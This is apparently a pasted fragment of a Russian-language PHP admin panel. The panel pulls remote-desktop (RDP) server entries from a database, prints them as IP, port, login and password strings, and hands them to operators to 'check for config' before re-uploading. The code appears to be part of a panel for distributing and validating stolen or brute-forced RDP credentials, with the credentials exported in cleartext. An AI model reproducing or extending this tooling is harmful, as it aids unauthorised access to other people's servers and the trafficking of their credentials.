  732. if($row_domain['login2'] == ""){$loginRdp = $row_domain['login'];}elseif($row_domain['login2'] != ""){$loginRdp = $row_domain['login']."\\".$row_domain['login2'];}
  733. if($row_domain['port'] != 0){$serverport = $row_domain['ip'].":".$row_domain['port'];}else{$serverport = $row_domain['ip'];}
  734. $server = $serverport."@".$loginRdp.";".$row_domain['password'];
  735. print trim($server)."\n";
  736. $i++; }
  737. $sql_update = "UPDATE `downloadRdp` SET `status`='onthecheck' WHERE `status`='forcheck'";
  738. mysqli_query($link_db,$sql_update) or die(mysqli_error($link_db));
  739.  
  740. }
  741.  
  742. if($_SERVER['REQUEST_METHOD'] == "POST" AND isset($_POST['getforcheckcount'])){
  743.  
  744. print trim($server);
  745.  
  746. }?></textarea> <br><?if($_SERVER['REQUEST_METHOD'] == "GET" AND $row_cnt_forcheck > 0){?><div class="alert alert-danger">
  747. <strong><h4>Обязательно скопируй полученные сервера!</h4> После нажатия на кнопку ниже, все полученные сервера будут удалены из базы. Они будут вновь добавлены в базу только после того как ты их прочекаешь на конфиг и добавишь через поле справа.</strong></div><?}?>
  748.  
  749. <div style="margin-top:8px;" class="col-sm-3 pull-left">
  750. <input type="text" class="form-control" name="countserver" value="<?=$row_cnt_forcheck?>">
  751. </div><button type="submit" <?php
  752. $sql_domain = "SELECT ip FROM downloadRdp WHERE `status`='forcheck'";
  753. $res_domain = mysqli_query($link_db,$sql_domain) or die(mysqli_error($link_db));
  754. $row_cnt_forcheck = mysqli_num_rows($res_domain); if($row_cnt_forcheck==0){print "disabled='disabled'";}?> name="getforcheckcount" class="btn btn-primary waves-effect waves-light pull-left">Получить указанное количество</button> </form>
  755. </div>
  756. <div class="alert alert-info fade in m-b-0 col-sm-6">
  757. <label class="col-sm-12 control-label">Список прочеканных серверов на конфиг</label>
  758. <form action="" method="post">
  759. <textarea required="" rows="12" name="oncheckedList" placeholder="Каждый сервер с новой строки" class="form-control" data-parsley-id="50"></textarea>
  760. <br><button type="submit" name="onchecked" class="btn btn-primary waves-effect waves-light pull-right">Загрузить прочеканные сервера</button>
  761. </form>
  762.  
  763.  
  764.  
  765.  
  766. </div>
  767.  
  768. </div>
  769. </div>
  770. </div><!-- end col -->
  771. </div>
  772. <!-- end row -->
  773.  
  774. <!-- end row -->
  775.  
  776. </div>
  777. </div>
  778. <?php
  779. include "inc/footer.php";
  780. ?>
  781. </div>
  782. <!-- ============================================================== -->
  783. <!-- End Right content here -->
  784. <!-- ============================================================== -->
  785. </div>
  786.  
  787. <!-- END wrapper -->
  788.  
  789. <script> var resizefunc = []; </script>
  790.  
  791. <!-- jQuery -->
  792. <script src="assets/js/jquery.min.js"></script>
  793. <script src="assets/js/bootstrap.min.js"></script>
  794. <script src="assets/js/detect.js"></script>
  795. <script src="assets/js/fastclick.js"></script>
  796. <script src="assets/js/jquery.slimscroll.js"></script>
  797. <script src="assets/js/jquery.blockUI.js"></script>
  798. <script src="assets/js/waves.js"></script>
  799. <script src="assets/js/wow.min.js"></script>
  800. <script src="assets/js/jquery.nicescroll.js"></script>
  801. <script src="assets/js/jquery.scrollTo.min.js"></script>
  802.  
  803. <!--Morris Chart-->
  804. <script src="assets/plugins/morris/morris.min.js"></script>
  805. <script src="assets/plugins/raphael/raphael-min.js"></script>
  806.  
  807. <!-- Counter Up -->
  808. <script src="assets/plugins/waypoints/lib/jquery.waypoints.js"></script>
  809. <script src="assets/plugins/counterup/jquery.counterup.min.js"></script>
  810.  
  811. <!-- Dashboard init -->
  812. <script src="assets/pages/jquery.dashboard.js"></script>
  813.  
  814.  
  815. <!-- App js -->
  816. <script src="assets/js/jquery.core.js"></script>
  817. <script src="assets/js/jquery.app.js"></script>
  818.  
  819. </body>
  820. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement